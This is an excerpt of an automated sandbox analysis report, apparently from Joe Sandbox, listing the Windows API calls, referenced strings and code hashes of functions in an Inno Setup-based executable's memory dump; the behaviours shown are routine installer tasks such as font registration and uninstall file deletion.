                                                                                                                                                                                                                                        • Part of subcall function 00406F50: DeleteFileA.KERNEL32(00000000,0049B628,00498261,00000000,004982B6,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F5B
                                                                                                                                                                                                                                      • GetWindowThreadProcessId.USER32(00000000,?), ref: 004960F5
                                                                                                                                                                                                                                      • OpenProcess.KERNEL32(00100000,00000000,?,00000000,?), ref: 00496109
                                                                                                                                                                                                                                      • SendNotifyMessageA.USER32(00000000,0000054D,00000000,00000000), ref: 00496123
                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 0049612F
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 00496135
                                                                                                                                                                                                                                      • Sleep.KERNEL32(000001F4,00000000,0000054D,00000000,00000000,00000000,?), ref: 00496148
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Deleting Uninstall data files., xrefs: 0049606B
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FileProcess$CloseDeleteHandleMessageNotifyObjectOpenSendSingleSleepThreadWaitWindow
                                                                                                                                                                                                                                      • String ID: Deleting Uninstall data files.
                                                                                                                                                                                                                                      • API String ID: 1570157960-2568741658
                                                                                                                                                                                                                                      • Opcode ID: 1c14f06cf20906d6098757f7c161041ddb556eb254dcbfb897c76230ada43d7f
                                                                                                                                                                                                                                      • Instruction ID: a2b0394162f9d438edd1a59a6b8f88e08a82a6f464fdedc4f7b2e31c99877ff7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1c14f06cf20906d6098757f7c161041ddb556eb254dcbfb897c76230ada43d7f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5F218570304250AFEB10EB7AFCC6B163798EB54728F52453BB505962D3D67CAC04CA6C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,0047016D,?,?,?,?,00000000), ref: 004700D7
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,0047016D), ref: 004700EE
                                                                                                                                                                                                                                      • AddFontResourceA.GDI32(00000000), ref: 0047010B
                                                                                                                                                                                                                                      • SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 0047011F
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Failed to open Fonts registry key., xrefs: 004700F5
                                                                                                                                                                                                                                      • AddFontResource, xrefs: 00470129
                                                                                                                                                                                                                                      • Failed to set value in Fonts registry key., xrefs: 004700E0
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseFontMessageNotifyOpenResourceSendValue
                                                                                                                                                                                                                                      • String ID: AddFontResource$Failed to open Fonts registry key.$Failed to set value in Fonts registry key.
                                                                                                                                                                                                                                      • API String ID: 955540645-649663873
                                                                                                                                                                                                                                      • Opcode ID: fb5005e48ab5c7daaaac94a0dc4afa742b509cb9d69f51cda3f3c10b282e3f45
                                                                                                                                                                                                                                      • Instruction ID: 4679b390ee7f38cc50779b5755f8f256d37ac4db7264feb969586a41c0613652
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fb5005e48ab5c7daaaac94a0dc4afa742b509cb9d69f51cda3f3c10b282e3f45
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1E21F470741204BBD710EA669C42FAE779DDB45704F908077B904EB3C2DA7DEE01962D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 00416410: GetClassInfoA.USER32(00400000,?,?), ref: 0041647F
                                                                                                                                                                                                                                        • Part of subcall function 00416410: UnregisterClassA.USER32(?,00400000), ref: 004164AB
                                                                                                                                                                                                                                        • Part of subcall function 00416410: RegisterClassA.USER32(?), ref: 004164CE
                                                                                                                                                                                                                                      • GetVersion.KERNEL32 ref: 00462CD4
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,0000112C,00000004,00000004), ref: 00462D12
                                                                                                                                                                                                                                      • SHGetFileInfo.SHELL32(00462DB0,00000000,?,00000160,00004011), ref: 00462D2F
                                                                                                                                                                                                                                      • LoadCursorA.USER32(00000000,00007F02), ref: 00462D4D
                                                                                                                                                                                                                                      • SetCursor.USER32(00000000,00000000,00007F02,00462DB0,00000000,?,00000160,00004011), ref: 00462D53
                                                                                                                                                                                                                                      • SetCursor.USER32(?,00462D93,00007F02,00462DB0,00000000,?,00000160,00004011), ref: 00462D86
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ClassCursor$Info$FileLoadMessageRegisterSendUnregisterVersion
                                                                                                                                                                                                                                      • String ID: Explorer
                                                                                                                                                                                                                                      • API String ID: 2594429197-512347832
                                                                                                                                                                                                                                      • Opcode ID: b2508eec98d805366e2f4507ea44d46b961a44d372cb9f0a28019716940d75e3
                                                                                                                                                                                                                                      • Instruction ID: 9dbbc9fa048eb90f76178aab56daef4cc46522196ca1757d39461a436d1c0ce4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b2508eec98d805366e2f4507ea44d46b961a44d372cb9f0a28019716940d75e3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A521D2707403047AE711BB758D47B9A36989B09708F5004BFF608EA2C3EEBC9801866E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,GetFinalPathNameByHandleA,020B2BF0,?,?,?,020B2BF0,00478054,00000000,00478172,?,?,-00000010,?), ref: 00477EA9
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00477EAF
                                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,020B2BF0,?,?,?,020B2BF0,00478054,00000000,00478172,?,?,-00000010,?), ref: 00477EC2
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,020B2BF0,?,?,?,020B2BF0), ref: 00477EEC
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,020B2BF0,00478054,00000000,00478172,?,?,-00000010,?), ref: 00477F0A
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FileHandle$AddressAttributesCloseCreateModuleProc
                                                                                                                                                                                                                                      • String ID: GetFinalPathNameByHandleA$kernel32.dll
                                                                                                                                                                                                                                      • API String ID: 2704155762-2318956294
                                                                                                                                                                                                                                      • Opcode ID: 4ac9b8a734794afedd7c4e5dff1684406e57be29ff440d920efac7cf7b76c0e4
                                                                                                                                                                                                                                      • Instruction ID: 07fb0e6c3cbff21d125a0516fcac6af2f028e938fd8349bed9720d5bfc433141
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4ac9b8a734794afedd7c4e5dff1684406e57be29ff440d920efac7cf7b76c0e4
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2101B55074870536E520316A5E86FBF648C8B5477DF548137FB1CEE2D2E9AC9D06026E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00459DDE,?,00000000,00000000,00000000,?,00000006,?,00000000,004973CD,?,00000000,00497470), ref: 00459D22
                                                                                                                                                                                                                                        • Part of subcall function 004543F4: FindClose.KERNEL32(000000FF,004544EA), ref: 004544D9
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Failed to strip read-only attribute., xrefs: 00459CF0
                                                                                                                                                                                                                                      • Stripped read-only attribute., xrefs: 00459CE4
                                                                                                                                                                                                                                      • Deleting directory: %s, xrefs: 00459CAB
                                                                                                                                                                                                                                      • Failed to delete directory (%d). Will delete on restart (if empty)., xrefs: 00459D97
                                                                                                                                                                                                                                      • Failed to delete directory (%d)., xrefs: 00459DB8
                                                                                                                                                                                                                                      • Failed to delete directory (%d). Will retry later., xrefs: 00459D3B
                                                                                                                                                                                                                                      • Not stripping read-only attribute because the directory does not appear to be empty., xrefs: 00459CFC
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseErrorFindLast
                                                                                                                                                                                                                                      • String ID: Deleting directory: %s$Failed to delete directory (%d).$Failed to delete directory (%d). Will delete on restart (if empty).$Failed to delete directory (%d). Will retry later.$Failed to strip read-only attribute.$Not stripping read-only attribute because the directory does not appear to be empty.$Stripped read-only attribute.
                                                                                                                                                                                                                                      • API String ID: 754982922-1448842058
                                                                                                                                                                                                                                      • Opcode ID: 8aabd4c25723369bf9534759df9b588e5f8490088031ca791ae669e8a2666fca
                                                                                                                                                                                                                                      • Instruction ID: 5a692d040748e25b342bfc59b5c440c53b4552d2faa6a9747d6521fe41ba2a01
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8aabd4c25723369bf9534759df9b588e5f8490088031ca791ae669e8a2666fca
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 69419330A04248DACB10DB6A98417AE76B59F8530AF54857BAC05E7383DB7C8D0DC75D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetCapture.USER32 ref: 00422EA4
                                                                                                                                                                                                                                      • GetCapture.USER32 ref: 00422EB3
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00422EB9
                                                                                                                                                                                                                                      • ReleaseCapture.USER32 ref: 00422EBE
                                                                                                                                                                                                                                      • GetActiveWindow.USER32 ref: 00422ECD
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,0000B000,00000000,00000000), ref: 00422F4C
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,0000B001,00000000,00000000), ref: 00422FB0
                                                                                                                                                                                                                                      • GetActiveWindow.USER32 ref: 00422FBF
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CaptureMessageSend$ActiveWindow$Release
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 862346643-0
                                                                                                                                                                                                                                      • Opcode ID: 3da4ec300de865232a3f60c9f80223c2bbe2427c246ff190c68097af5e341dae
                                                                                                                                                                                                                                      • Instruction ID: c6261992695b47722d84ffa44129b55dc5b2a4dad2f70b0012283783c1c7b094
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3da4ec300de865232a3f60c9f80223c2bbe2427c246ff190c68097af5e341dae
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 24417230B00245AFDB10EB69DA86B9E77F1EF44304F5540BAF404AB2A2D778AE40DB49
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetWindowLongA.USER32(?,000000F0), ref: 0042F2BA
                                                                                                                                                                                                                                      • GetWindowLongA.USER32(?,000000EC), ref: 0042F2D1
                                                                                                                                                                                                                                      • GetActiveWindow.USER32 ref: 0042F2DA
                                                                                                                                                                                                                                      • MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 0042F307
                                                                                                                                                                                                                                      • SetActiveWindow.USER32(?,0042F437,00000000,?), ref: 0042F328
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$ActiveLong$Message
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2785966331-0
                                                                                                                                                                                                                                      • Opcode ID: ca0cfe640851e4463c520fee9942c9233ac98ecb3d765a436798e71af7845e74
                                                                                                                                                                                                                                      • Instruction ID: ac844ef734d24c76dc9aa96f201b13a865b129e9c1b137beabd8cb6517960092
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ca0cfe640851e4463c520fee9942c9233ac98ecb3d765a436798e71af7845e74
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F931D271A00254AFEB01EFA5DD52E6EBBB8EB09304F9144BAF804E3291D73C9D10CB58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetDC.USER32(00000000), ref: 0042948A
                                                                                                                                                                                                                                      • GetTextMetricsA.GDI32(00000000), ref: 00429493
                                                                                                                                                                                                                                        • Part of subcall function 0041A1E8: CreateFontIndirectA.GDI32(?), ref: 0041A2A7
                                                                                                                                                                                                                                      • SelectObject.GDI32(00000000,00000000), ref: 004294A2
                                                                                                                                                                                                                                      • GetTextMetricsA.GDI32(00000000,?), ref: 004294AF
                                                                                                                                                                                                                                      • SelectObject.GDI32(00000000,00000000), ref: 004294B6
                                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 004294BE
                                                                                                                                                                                                                                      • GetSystemMetrics.USER32(00000006), ref: 004294E3
                                                                                                                                                                                                                                      • GetSystemMetrics.USER32(00000006), ref: 004294FD
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Metrics$ObjectSelectSystemText$CreateFontIndirectRelease
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1583807278-0
                                                                                                                                                                                                                                      • Opcode ID: 62880ac9d08e5d684fd074e0f3ca61438eede96ade4d4e291019075c7fd144c0
                                                                                                                                                                                                                                      • Instruction ID: 8a5b62ad3b2811282b00f4aa11bc4c2c065e9b9ae855548013837f5c18493421
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 62880ac9d08e5d684fd074e0f3ca61438eede96ade4d4e291019075c7fd144c0
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0F01C4A17087103BE321767A9CC6F6F65C8DB44358F84043BF686D63D3D96C9C41866A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetDC.USER32(00000000), ref: 0041DE27
                                                                                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041DE31
                                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 0041DE3E
                                                                                                                                                                                                                                      • MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041DE4D
                                                                                                                                                                                                                                      • GetStockObject.GDI32(00000007), ref: 0041DE5B
                                                                                                                                                                                                                                      • GetStockObject.GDI32(00000005), ref: 0041DE67
                                                                                                                                                                                                                                      • GetStockObject.GDI32(0000000D), ref: 0041DE73
                                                                                                                                                                                                                                      • LoadIconA.USER32(00000000,00007F00), ref: 0041DE84
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ObjectStock$CapsDeviceIconLoadRelease
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 225703358-0
                                                                                                                                                                                                                                      • Opcode ID: cf3de45f10179e040e4bf754cd3e00afbbff0486b0448c288d4be5e1939ebdb6
                                                                                                                                                                                                                                      • Instruction ID: 282f56568f1177e4dad385ec7f61a974d29090d827cf1f87eb40c920fa9ca7e8
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cf3de45f10179e040e4bf754cd3e00afbbff0486b0448c288d4be5e1939ebdb6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4C1142706457015EE340BFA66E52B6A36A4D725708F40413FF609AF3D1D77A2C448B9E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • LoadCursorA.USER32(00000000,00007F02), ref: 004631B8
                                                                                                                                                                                                                                      • SetCursor.USER32(00000000,00000000,00007F02,00000000,0046324D), ref: 004631BE
                                                                                                                                                                                                                                      • SetCursor.USER32(?,00463235,00007F02,00000000,0046324D), ref: 00463228
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Cursor$Load
                                                                                                                                                                                                                                      • String ID: $ $Internal error: Item already expanding
                                                                                                                                                                                                                                      • API String ID: 1675784387-1948079669
                                                                                                                                                                                                                                      • Opcode ID: 9a907484170bb085a46c4a598b93bfbbd2bc194262705c34c2f461fc244cfbd4
                                                                                                                                                                                                                                      • Instruction ID: 06b17efc2869e1117ca0a97e11558f018c2dd138a4dd01a316207194f11c04f7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9a907484170bb085a46c4a598b93bfbbd2bc194262705c34c2f461fc244cfbd4
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 74B1B430A00284DFD711DF69C585B9EBBF0BF04305F1484AAE8459B792DB78EE45CB16
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00453E17
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: PrivateProfileStringWrite
                                                                                                                                                                                                                                      • String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
                                                                                                                                                                                                                                      • API String ID: 390214022-3304407042
                                                                                                                                                                                                                                      • Opcode ID: 4acafb8f8444067680350d3d4e03481623aa06ca7574397e5033f2f4cf45a0b5
                                                                                                                                                                                                                                      • Instruction ID: 4c4b1d7f09994941c57eaafc4db68242d6a3f6c21ecd3f2b5b8f846a746055a2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4acafb8f8444067680350d3d4e03481623aa06ca7574397e5033f2f4cf45a0b5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 40911434E002099BDB01EFA5D842BDEB7F5AF4874AF608466E90077392D7786E49CB58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetClassInfoW.USER32(00000000,COMBOBOX,?), ref: 004767C9
                                                                                                                                                                                                                                      • SetWindowLongW.USER32(00000000,000000FC,00476724), ref: 004767F0
                                                                                                                                                                                                                                      • GetACP.KERNEL32(00000000,00476A08,?,00000000,00476A32), ref: 0047682D
                                                                                                                                                                                                                                      • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00476873
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
